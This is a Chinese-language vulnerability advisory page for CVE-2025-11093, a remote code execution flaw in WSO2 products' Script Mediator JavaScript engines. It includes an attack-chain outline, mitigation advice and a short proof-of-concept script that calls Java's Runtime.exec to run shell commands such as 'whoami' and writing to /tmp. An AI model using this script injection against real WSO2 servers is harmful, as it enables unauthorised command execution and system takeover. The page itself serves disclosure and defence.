IPBUF安全漏洞报告
English
CVE-2025-11093 CVSS 8.4 高危

CVE-2025-11093 WSO2产品Script Mediator引擎远程代码执行漏洞

披露日期: 2025-11-05
来源: ed10eef1-636d-4fbe-9993-6890dfa878f8

漏洞信息

漏洞编号
CVE-2025-11093
漏洞类型
远程代码执行
CVSS评分
8.4 高危
攻击向量
邻接 (AV:A)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WSO2 Micro Integrator, WSO2 Enterprise Integrator, WSO2 API Manager

相关标签

远程代码执行WSO2Script MediatorGraalJSNashornJS沙箱逃逸高危漏洞CVE-2025-11093企业集成平台API Manager

漏洞概述

CVE-2025-11093是影响多个WSO2产品的严重安全漏洞,源于GraalJS和NashornJS Script Mediator引擎的安全限制不足。该漏洞允许具有高权限的认证用户(包括管理员和API创建者)在集成运行时环境中执行任意代码。攻击者可通过构造恶意脚本利用Script Mediator引擎的沙箱逃逸或权限提升机制,在目标系统上执行未授权的系统命令。由于WSO2产品广泛应用于企业级API管理和集成场景,此漏洞可能对企业核心业务系统造成严重影响。CVSS评分8.4(高危),攻击向量为邻接网络,需高权限认证但无需用户交互,机密性、完整性和可用性均受到严重影响。

技术细节

该漏洞的根本原因在于WSO2产品中Script Mediator引擎对JavaScript执行环境的安全限制不够严格。GraalJS和NashornJS引擎允许执行任意JavaScript代码,而引擎的沙箱机制存在缺陷,认证用户可以通过构造特定的JavaScript代码调用系统级API或访问底层资源。攻击者需要首先获取WSO2产品的高权限账户(如管理员或API创建者),然后通过API管理界面或集成配置功能注入恶意脚本代码。成功利用后,攻击者可在服务器端执行任意操作系统命令,获取敏感数据或完全控制受影响的系统。由于该漏洞位于集成运行时层面,攻击者还可以利用横向移动技术进一步渗透内网环境。

攻击链分析

STEP 1
步骤1
攻击者获取WSO2产品的高权限账户(管理员或API创建者)
STEP 2
步骤2
登录WSO2管理控制台或API Manager门户
STEP 3
步骤3
通过Script Mediator或API配置界面注入恶意JavaScript代码
STEP 4
步骤4
触发脚本执行,利用GraalJS/NashornJS引擎的沙箱逃逸
STEP 5
步骤5
在服务器端执行任意操作系统命令
STEP 6
步骤6
获取敏感数据、建立持久化后门或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-11093 PoC - WSO2 Script Mediator RCE // Target: WSO2 Micro Integrator / Enterprise Integrator / API Manager // Prerequisites: High-privilege authenticated user access const String = Java.type('java.lang.String'); const Runtime = Java.type('java.lang.Runtime'); // Execute system command via NashornJS/GraalJS engine var command = 'whoami'; var result = Runtime.getRuntime().exec(command); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(result.getInputStream()) ); var output = ''; var line; while ((line = reader.readLine()) != null) { output += line + '\n'; } output; // Alternative: Direct command execution var process = java.lang.Runtime.getRuntime().exec(['/bin/sh', '-c', 'id > /tmp/pwned']); process.waitFor();

影响范围

WSO2 Micro Integrator < 最新安全版本
WSO2 Enterprise Integrator < 最新安全版本
WSO2 API Manager < 最新安全版本

防御指南

临时缓解措施
立即限制Script Mediator引擎的访问权限,仅允许必要的受信任管理员使用;监控和审计所有脚本执行日志;临时禁用非必要的脚本集成功能;部署网络层访问控制,限制对WSO2管理接口的访问来源;联系WSO2官方获取安全补丁并进行升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表